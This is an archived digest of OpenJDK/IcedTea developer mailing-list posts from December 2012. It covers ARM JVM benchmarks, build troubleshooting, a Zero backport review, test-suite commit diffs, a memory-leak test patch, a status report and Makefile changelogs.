Message-ID: > Some numbers (SciMark is far from my favourite but it runs quickly): I couldn't resist trying out my new armhf build, on armv7. And finally, after CACAO has not exactly excelled in recent benchmarks, these numbers are quite nice. CACAO uses only ARM instructions, not Thumb. I am aware the two results below are not exactly comparable, as they are completely different versions of OpenJDK, but in my experience this doesn't usually make a significant difference. I'll follow once I've got builds carrying the same versions. $ java -version java version "1.7.0_07" OpenJDK Runtime Environment (IcedTea7 2.3.2) (7u7-2.3.2a-1ubuntu1) OpenJDK Zero VM (build 22.0-b10, mixed mode) SciMark 2.0a Composite Score: 9.266224775341563 FFT (1024): 6.000387736394497 SOR (100x100): 14.77363612463465 Monte Carlo : 4.205870056417998 Sparse matmult (N=1000, nz=5000): 10.641725186689987 LU (100x100): 10.709504772570675 java.vendor: Oracle Corporation java.version: 1.7.0_07 os.arch: arm os.name: Linux os.version: 2.6.38-1003-linaro-omap $ /java -version java version "1.6.0_27" IcedTea Runtime Environment (1.12pre+rcea49ba2afcd) (Ubuntu build 1.6.0_27-b27) CACAO (build 1.6.0+r7b895f84c93e, compiled mode) SciMark 2.0a Composite Score: 21.811965095350477 FFT (1024): 11.069763827433377 SOR (100x100): 45.242182823092065 Monte Carlo : 2.962079078090587 Sparse matmult (N=1000, nz=5000): 25.04432965236223 LU (100x100): 24.74147009577412 java.vendor: Sun Microsystems Inc. java.version: 1.6.0_27 os.arch: arm os.name: Linux os.version: 2.6.38-1003-linaro-omap From gregjo at yahoo.com Tue Dec 18 15:06:58 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Tue, 18 Dec 2012 15:06:58 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> <50D0A7AF.90804@redhat.com> <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> Message-ID: <1355872018.92789.YahooMailNeo@web125002.mail.ne1.yahoo.com> >>JamVM is easy to build.? It takes about 6 minutes for a full build on >>the Pi (armhf).? You can follow the instructions here: >>http://draenog.blogspot.co.uk/2011/02/openjdkjamvm-git-repository.html Robert, thanks so much for the info you've provided! -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/df8ac837/attachment.html From ChrisPhi at redhat.com Tue Dec 18 17:18:57 2012 From: ChrisPhi at redhat.com (Chris Phillips) Date: Tue, 18 Dec 2012 20:18:57 -0500 Subject: RFR: Fix zero fail to build in icedtea7-head... Message-ID: <50D11601.9010108@RedHat.Com> Attached patch is a backport of Roman's jdk8 fixes to Icedtea7-head. Please review. Cheers! Chris PS Webrev is here: http://integral-portal.lgonqn.org/temp/ChrisPhi/it7-h-20121212_zero/ -------------- next part -------------- A non-text attachment was scrubbed... Name: zero-it7-head-2012_12_13.patch Type: text/x-patch Size: 46566 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/2bdd603f/zero-it7-head-2012_12_13.patch From amiko212 at 126.com Wed Dec 19 00:43:34 2012 From: amiko212 at 126.com (liu chao jun) Date: Wed, 19 Dec 2012 16:43:34 +0800 (CST) Subject: run -Xcomp -help error In-Reply-To: <50D11601.9010108@RedHat.Com> References: <50D11601.9010108@RedHat.Com> Message-ID: <65381218.d1cc.13bb2550462.Coremail.amiko212@126.com> HI all , when i working on IcedTea 1-11-4 against shark .3.1 on the ,when run -Xcomp -help the following error happened after finish its execution ,And I found it seems there is samewhere which should used "JR"but use"JARL" so the addrss jump to a wrong memory address , unluckly ,i can find the address where it used ,of course maybe there is other reasons that can lead to this error,Is anybody met this or similar this ago , thank you very much ! it seems a Exception in thread "main" java.lang.NullPointerException: at java.util.concurrent.ConcurrentHashMap.get(ConcurrentHashMap.java:796) at sun.util.LocaleServiceProviderPool.getPool(LocaleServiceProviderPool.java:96) at java.text.DecimalFormatSymbols.getInstance(DecimalFormatSymbols.java:147) at java.text.NumberFormat.getInstance(NumberFormat.java:767) at java.text.NumberFormat.getInstance(NumberFormat.java:393) at java.text.MessageFormat.subformat(MessageFormat.java:1254) at java.text.MessageFormat.format(MessageFormat.java:853) at java.text.Format.format(Format.java:157) at java.text.MessageFormat.format(MessageFormat.java:829) at sun.launcher.LauncherHelp.getLocalizedMessage(LauncherHelp.java:63) at sun.launcher.LauncherHelp.initHelpMessage(LauncherHelp.java:75) -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121219/bef922db/attachment.html From stefan at complang.tuwien.ac.at Wed Dec 19 00:46:59 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Wed, 19 Dec 2012 09:46:59 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355869674.13682.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: > It's not disabled for speed, though, but because the configure script > complained about these. Or should I say, the configure script used to > complain many versions ago, and I have not bothered taking them out > since... ;). I'll try to find out if they are still necessary. I've removed all of the --disable-system- switches now, and it makes absolutely no difference in build time. KR From ptisnovs at icedtea.classpath.org Wed Dec 19 01:55:53 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Wed, 19 Dec 2012 09:55:53 +0000 Subject: /hg/gfx-test: Added eleven new tests to the test suite src/org/g... Message-ID: changeset e7ebb5543c97 in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=e7ebb5543c97 author: Pavel Tisnovsky date: Wed Dec 19 10:58:55 2012 +0100 Added eleven new tests to the test suite src/org/gfxtest/testsuites/BitBltBasicTests.java. diffstat: ChangeLog | 5 + src/org/gfxtest/testsuites/BitBltBasicTests.java | 165 +++++++++++++++++++++++ 2 files changed, 170 insertions(+), 0 deletions(-) diffs (187 lines): diff -r 33c1e093e894 -r e7ebb5543c97 ChangeLog --- a/ChangeLog Tue Dec 18 09:50:58 2012 +0100 +++ b/ChangeLog Wed Dec 19 10:58:55 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-19 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/BitBltBasicTests.java: + Added eleven new tests to this test suite. + 2012-12-18 Pavel Tisnovsky * src/org/gfxtest/testsuites/Paths.java: diff -r 33c1e093e894 -r e7ebb5543c97 src/org/gfxtest/testsuites/BitBltBasicTests.java --- a/src/org/gfxtest/testsuites/BitBltBasicTests.java Tue Dec 18 09:50:58 2012 +0100 +++ b/src/org/gfxtest/testsuites/BitBltBasicTests.java Wed Dec 19 10:58:55 2012 +0100 @@ -2082,6 +2082,171 @@ } /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_INT_RGB. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageTypeIntRGB(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_INT_RGB); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_INT_BGR. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageTypeIntBGR(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_INT_BGR); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_INT_ARGB. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageTypeIntARGB(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_INT_ARGB); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_INT_ARGB_PRE. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageTypeIntARGB_Pre(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_INT_ARGB_PRE); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_4BYTE_ABGR. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageType4ByteABGR(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_4BYTE_ABGR); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_4BYTE_ABGR_PRE. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageType4ByteABGR_PRE(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_4BYTE_ABGR_PRE); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_BYTE_GRAY. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageTypeByteGray(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_BYTE_GRAY); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_USHORT_GRAY. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageTypeUshortGray(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_USHORT_GRAY); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_USHORT_565_RGB. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageTypeUshort565RGB(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_USHORT_565_RGB); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_USHORT_555_RGB. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageTypeUshort555RGB(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_USHORT_555_RGB); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_3BYTE_BGR. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageType3ByteBGR(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_3BYTE_BGR); + } + + /** * Test basic BitBlt operation for color dots pattern buffered image * with type TYPE_BYTE_BINARY. * From ptisnovs at icedtea.classpath.org Wed Dec 19 02:00:24 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Wed, 19 Dec 2012 10:00:24 +0000 Subject: /hg/rhino-tests: Added three new tests into the test case src/or... Message-ID: changeset 3b33320797eb in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=3b33320797eb author: Pavel Tisnovsky date: Wed Dec 19 11:03:19 2012 +0100 Added three new tests into the test case src/org/RhinoTests/ScriptExceptionClassTest.java. diffstat: ChangeLog | 5 + src/org/RhinoTests/ScriptExceptionClassTest.java | 75 ++++++++++++++++++++++++ 2 files changed, 80 insertions(+), 0 deletions(-) diffs (111 lines): diff -r 499bf38b565f -r 3b33320797eb ChangeLog --- a/ChangeLog Tue Dec 18 10:49:01 2012 +0100 +++ b/ChangeLog Wed Dec 19 11:03:19 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-19 Pavel Tisnovsky + + * src/org/RhinoTests/ScriptExceptionClassTest.java: + Added three new tests into this test case. + 2012-12-18 Pavel Tisnovsky * src/org/RhinoTests/ScriptEngineFactoryClassTest.java: diff -r 499bf38b565f -r 3b33320797eb src/org/RhinoTests/ScriptExceptionClassTest.java --- a/src/org/RhinoTests/ScriptExceptionClassTest.java Tue Dec 18 10:49:01 2012 +0100 +++ b/src/org/RhinoTests/ScriptExceptionClassTest.java Wed Dec 19 11:03:19 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -389,6 +390,28 @@ } /** + * Test for method javax.script.ScriptException.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + }; + // check if all required fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.scriptExceptionClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.ScriptException.getClass().getMethods() */ protected void testGetMethods() { @@ -495,6 +518,58 @@ } /** + * Test for method javax.script.ScriptException.getClass().getAnnotations() + */ + protected void testGetAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptExceptionClass.getAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** + * Test for method javax.script.ScriptException.getClass().getDeclaredAnnotations() + */ + protected void testGetDeclaredAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptExceptionClass.getDeclaredAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** * Test for instanceof operator applied to a class javax.script.ScriptException */ @SuppressWarnings("cast") From ChrisPhi at LGonQn.Org Wed Dec 19 04:36:42 2012 From: ChrisPhi at LGonQn.Org (Chris Phillips @ T O) Date: Wed, 19 Dec 2012 07:36:42 -0500 Subject: run -Xcomp -help error In-Reply-To: <65381218.d1cc.13bb2550462.Coremail.amiko212@126.com> References: <50D11601.9010108@RedHat.Com> <65381218.d1cc.13bb2550462.Coremail.amiko212@126.com> Message-ID: <50D1B4DA.90904@LGonQn.Org> Hi There are many problems with shark and llvm 3.1, particularly in the area of memory synchronization. Roman Kennke is porting shark into jdk8 and is using llvm 3.2 for that work. If you can upgrade maybe that will help, Chris On 19/12/12 03:43 AM, liu chao jun wrote: > HI all , > when i working on IcedTea 1-11-4 against shark .3.1 on the ,when run > -Xcomp -help the following error happened after finish its execution > ,And I found it seems there is samewhere which should used "JR"but > use"JARL" so the addrss jump to a wrong memory address , unluckly ,i > can find the address where it used ,of course maybe there is other > reasons that can lead to this error,Is anybody met this or similar > this ago , thank you very much ! > it seems a > Exception in thread "main" java.lang.NullPointerException: > at java.util.concurrent.ConcurrentHashMap.get(ConcurrentHashMap.java:796) > at > sun.util.LocaleServiceProviderPool.getPool(LocaleServiceProviderPool.java:96) > at java.text.DecimalFormatS! > ymbols.getInstance(DecimalFormatSymbols.java:147) > at java.text.NumberFormat.getInstance(NumberFormat.java:767) > at java.text.NumberFormat.getInstance(NumberFormat.java:393) > at java.text.MessageFormat.subformat(MessageFormat.java:1254) > at java.text.MessageFormat.format(MessageFormat.java:853) > at java.text.Format.format(Format.java:157) > at java.text.MessageFormat.format(MessageFormat.java:829) > at sun.launcher.LauncherHelp.getLocalizedMessage(LauncherHelp.java:63) > at sun.launcher.LauncherHelp.initHelpMessage(LauncherHelp.java:75) > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121219/9bc6ca32/attachment.html From ChrisPhi at LGonQn.Org Wed Dec 19 06:26:52 2012 From: ChrisPhi at LGonQn.Org (Chris Phillips @ T O) Date: Wed, 19 Dec 2012 09:26:52 -0500 Subject: RFR: Fix zero fail to build in icedtea7-head... In-Reply-To: <2075166354.17785309.1355926575525.JavaMail.root@redhat.com> References: <2075166354.17785309.1355926575525.JavaMail.root@redhat.com> Message-ID: <50D1CEAC.3040603@LGonQn.Org> Hi Andrew On 19/12/12 09:16 AM, Andrew Hughes wrote: > > ----- Original Message ----- >> Attached patch is a backport of Roman's jdk8 fixes to Icedtea7-head. >> >> Please review. >> >> Cheers! >> Chris >> >> PS >> Webrev is here: >> http://integral-portal.lgonqn.org/temp/ChrisPhi/it7-h-20121212_zero/ >> >> >> > Is this upstream? If so, what bug ID(s) does it include? I see none in the webrev. Sorry, Yes its a backport of Roman's fix for 8000780 : "make Zero build and run with JDK8" which was putback by twisti at the end of October. Its nearly identical except for the need to backout the Permgen Removal stuff. Cheers! Chris From adomurad at redhat.com Wed Dec 19 06:35:34 2012 From: adomurad at redhat.com (Adam Domurad) Date: Wed, 19 Dec 2012 09:35:34 -0500 Subject: [rfc][icedtea-web] C++ unit-tests for memory leak w/ simple leak-detecting operator-new, along with fix Message-ID: <50D1D0B6.4050105@redhat.com> The unit test infrastructure + tests: 2012-12-XX Adam Domurad * tests/cpp-unit-tests/browser_mock.cc (mock_retainobject): New, mocks behaviour of NPAPI retainobject (mock_releaseobject): New, mocks behaviour of NPAPI releaseobject * tests/cpp-unit-tests/main.cc: Add warning of memory leak based on operator-new. * tests/cpp-unit-tests/IcedTeaScriptablePluginObjectTest.cc: New, tests for memory leak in (IcedTeaScriptableJavaObject::deAllocate) and (IcedTeaScriptableJavaPackageObject::deAllocate) * tests/cpp-unit-tests/checked_allocations.h: Defines set that does not use operator-new, to prevent recursion in overloaded operator-new * tests/cpp-unit-tests/checked_allocations.cc: Operator new overload that has allocation-set for querying live allocations. The fix: 2012-12-XX Adam Domurad * plugin/icedteanp/IcedTeaScriptablePluginObject.cc (IcedTeaScriptableJavaObject::deAllocate): Fix memory leak (IcedTeaScriptableJavaPackageObject::deAllocate): Fix memory leak -------------- next part -------------- A non-text attachment was scrubbed... Name: operatornew-check.patch Type: text/x-patch Size: 12130 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121219/2c30702f/operatornew-check.patch -------------- next part -------------- A non-text attachment was scrubbed... Name: operatornew-fix.patch Type: text/x-patch Size: 704 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121219/2c30702f/operatornew-fix.patch From gnu.andrew at redhat.com Wed Dec 19 06:16:15 2012 From: gnu.andrew at redhat.com (Andrew Hughes) Date: Wed, 19 Dec 2012 09:16:15 -0500 (EST) Subject: RFR: Fix zero fail to build in icedtea7-head... In-Reply-To: <50D11601.9010108@RedHat.Com> Message-ID: <2075166354.17785309.1355926575525.JavaMail.root@redhat.com> ----- Original Message ----- > Attached patch is a backport of Roman's jdk8 fixes to Icedtea7-head. > > Please review. > > Cheers! > Chris > > PS > Webrev is here: > http://integral-portal.lgonqn.org/temp/ChrisPhi/it7-h-20121212_zero/ > > > Is this upstream? If so, what bug ID(s) does it include? I see none in the webrev. -- Andrew :) Free Java Software Engineer Red Hat, Inc. (http://www.redhat.com) PGP Key: 248BDC07 (https://keys.indymedia.org/) Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07 From adomurad at redhat.com Wed Dec 19 07:13:54 2012 From: adomurad at redhat.com (Adam Domurad) Date: Wed, 19 Dec 2012 10:13:54 -0500 Subject: Status December 19th, 2012 Message-ID: <50D1D9B2.1010803@redhat.com> Last status report of 2012... exciting isn't it This week: patches: [rfc][icedtea-web] C++ unit-tests for memory leak w/ simple leak-detecting operator-new, along with fix Re: Regression in icedtea-web - parent classsloader have been stopped to be invoked [rfc][icedtea-web] Rewrite of MethodOverloadResolver [rfc][icedtea-web] Minor addition to C++ testing; cleanup reviews: Re: [rfc][icedtea-web] @Remote and automated manual testcases Re: [rfc][icedtea-web] Reproducer of BeansStatement behaviour x2 Re: [rfc][icedtea-web] a new reproducer LiveConnect "function parameters" tests Re: [rfc] icedtea-web minor fix for two unittests x2 misc: Took a small detour from looking into the deadlock but will get back into it 'Small refactoring' of MethodOverloadResolver lead to finding many issues, spent some time making sure that it matched the (thankfully somewhat loose) spec exactly with in-depth unit tests. Looked into failure of ITW failing when used with ASAN. It's not clear to me whether ASAN works with dynamically loaded shared objects. - Wrote some additional C++ unit tests so that ASAN behaviour could be tested 'in a vacuum' and everything seems fine with static linking - Without ASAN browser -- very weird segfault with ASAN+plugin, with ASAN browser, fails 'globals check' that seems to pass when not in browser environment It would be nice to get this working as it'd complement runs of the test suite. Lots of patch reviewing Next week: Pick up work again on deadlock Look into expiring-signatures issue From gnu.andrew at redhat.com Wed Dec 19 09:01:57 2012 From: gnu.andrew at redhat.com (Andrew Hughes) Date: Wed, 19 Dec 2012 12:01:57 -0500 (EST) Subject: RFR: Fix zero fail to build in icedtea7-head... In-Reply-To: <50D1CEAC.3040603@LGonQn.Org> Message-ID: <794628811.17881552.1355936517959.JavaMail.root@redhat.com> ----- Original Message ----- > Hi Andrew > > > > > On 19/12/12 09:16 AM, Andrew Hughes wrote: > > > > ----- Original Message ----- > >> Attached patch is a backport of Roman's jdk8 fixes to > >> Icedtea7-head. > >> > >> Please review. > >> > >> Cheers! > >> Chris > >> > >> PS > >> Webrev is here: > >> http://integral-portal.lgonqn.org/temp/ChrisPhi/it7-h-20121212_zero/ > >> > >> > >> > > Is this upstream? If so, what bug ID(s) does it include? I see > > none in the webrev. > Sorry, > Yes its a backport of Roman's fix for 8000780 : "make Zero build and > run > with JDK8" > which was putback by twisti at the end of October. Its nearly > identical > except for > the need to backout the Permgen Removal stuff. > Ah, thanks! Do you know what the route is for getting it into 7u? Do we need to suggest it or will they just pull it in with a bulk HotSpot update? > Cheers! > Chris > > -- Andrew :) Free Java Software Engineer Red Hat, Inc. (http://www.redhat.com) PGP Key: 248BDC07 (https://keys.indymedia.org/) Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07 From rkennke at redhat.com Wed Dec 19 09:11:17 2012 From: rkennke at redhat.com (Roman Kennke) Date: Wed, 19 Dec 2012 18:11:17 +0100 Subject: RFR: Fix zero fail to build in icedtea7-head... In-Reply-To: <794628811.17881552.1355936517959.JavaMail.root@redhat.com> References: <794628811.17881552.1355936517959.JavaMail.root@redhat.com> Message-ID: <1355937077.1746.55.camel@mercury> Am Mittwoch, den 19.12.2012, 12:01 -0500 schrieb Andrew Hughes: > ----- Original Message ----- > > Hi Andrew > > > > > > > > > > On 19/12/12 09:16 AM, Andrew Hughes wrote: > > > > > > ----- Original Message ----- > > >> Attached patch is a backport of Roman's jdk8 fixes to > > >> Icedtea7-head. > > >> > > >> Please review. > > >> > > >> Cheers! > > >> Chris > > >> > > >> PS > > >> Webrev is here: > > >> http://integral-portal.lgonqn.org/temp/ChrisPhi/it7-h-20121212_zero/ > > >> > > >> > > >> > > > Is this upstream? If so, what bug ID(s) does it include? I see > > > none in the webrev. > > Sorry, > > Yes its a backport of Roman's fix for 8000780 : "make Zero build and > > run > > with JDK8" > > which was putback by twisti at the end of October. Its nearly > > identical > > except for > > the need to backout the Permgen Removal stuff. > > > > Ah, thanks! Do you know what the route is for getting it into 7u? Do > we need to suggest it or will they just pull it in with a bulk HotSpot update? I would guess that we need to suggest it, and I also think that this is our plan. However, it sortof depends on another big change that needs to go into 7up first, Twisti already proposed it, but I think it got stuck. Roman From andrew at icedtea.classpath.org Wed Dec 19 10:39:03 2012 From: andrew at icedtea.classpath.org (andrew at icedtea.classpath.org) Date: Wed, 19 Dec 2012 18:39:03 +0000 Subject: /hg/icedtea7: 4 new changesets Message-ID: changeset e4795c01aba3 in /hg/icedtea7 details: http://icedtea.classpath.org/hg/icedtea7?cmd=changeset;node=e4795c01aba3 author: Andrew John Hughes date: Tue Dec 18 23:22:20 2012 +0000 Move SystemTap support to a separate target. 2010-09-22 Andrew John Hughes Move SystemTap support to a separate target. * Makefile.am: (.PHONY): Add clean-add-systemtap and clean-add-systemtap-debug. (icedtea): Remove systemtap support. (icedtea-debug): Likewise. (icedtea-stage2): Depend on add-systemtap. (icedtea-debug-stage2): Depend on add-systemtap-debug. (add-systemtap): New target to add SystemTap support to the build. (add-systemtap-debug): Likewise for debug. (clean-add-systemtap): Remove SystemTap support from the build. (clean-add-systemtap-debug): Likewise for debug. changeset f4bc8075e7c6 in /hg/icedtea7 details: http://icedtea.classpath.org/hg/icedtea7?cmd=changeset;node=f4bc8075e7c6 author: Andrew John Hughes date: Wed Dec 19 14:45:44 2012 +0000 Separate PulseAudio addition into separate targets. 2010-09-23 Andrew John Hughes * Makefile.am: (.PHONY): Add clean-add-pulseaudio and clean-add-pulseaudio-debug. (clean-local): Likewise. (icedtea): Remove pulse-java support and dependency. (add-pulseaudio): New target to add PulseAudio support to the build. (clean-add-pulseaudio): Remove PulseAudio support from the build. (icedtea-debug): Remove pulse-java support and dependency. (add-pulseaudio-debug): Likewise for debug. (clean-add-pulseaudio-debug): Likewise for debug. (icedtea-stage2): Depend on add-pulseaudio. (icedtea-debug-stage2): Depend on add-pulseaudio-debug. changeset ae5547ae8c75 in /hg/icedtea7 details: http://icedtea.classpath.org/hg/icedtea7?cmd=changeset;node=ae5547ae8c75 author: Andrew John Hughes date: Wed Dec 19 16:38:02 2012 +0000 Separate addition of NSS and timezone data support into separate targets. 2010-09-23 Andrew John Hughes * Makefile.am: (.PHONY): Add clean-add-nss, clean-add-nss-debug, clean-add-tzdata-support and clean-add-tzdata-support-debug. (clean-local): Likewise. (icedtea): Remove NSS and tzdata support. (add-nss): New target to add NSS support to the build. (clean-add-nss): Remove NSS support from the build. (add-tzdata-support): New target to add alternate timezone data support to the build. (clean-add-tzdata-support): Remove alternate timezone data support from the build. (icedtea-debug): Remove NSS and tzdata support. (add-nss-debug): Likewise for debug. (clean-add-nss-debug): Likewise for debug. (add-tzdata-support-debug): Likewise for debug. (clean-add-tzdata-support-debug): Likewise for debug. (icedtea-stage2): Depend on add-nss and add-tzdata-support. (icedtea-debug-stage2): Depend on add-nss-debug and add-tzdata-support-debug. changeset 1a8e93b7fe96 in /hg/icedtea7 details: http://icedtea.classpath.org/hg/icedtea7?cmd=changeset;node=1a8e93b7fe96 author: Andrew John Hughes date: Wed Dec 19 18:38:08 2012 +0000 Support additional targets for the bootstrap build. 2010-09-24 Andrew John Hughes * Makefile.am: (.PHONY): Add new clean targets. Fix name. (add-systemtap-boot): Add SystemTap support to the boot build. (clean-add-systemtap-boot): Remove SystemTap support from the boot build. (add-pulseaudio-boot): New target to add PulseAudio support to the boot build. (clean-add-pulseaudio-boot): Remove PulseAudio support from the boot build. (add-nss-boot): New target to add NSS support to the boot build. (clean-add-nss-boot): Remove NSS support from the boot build. (add-tzdata-support-boot): 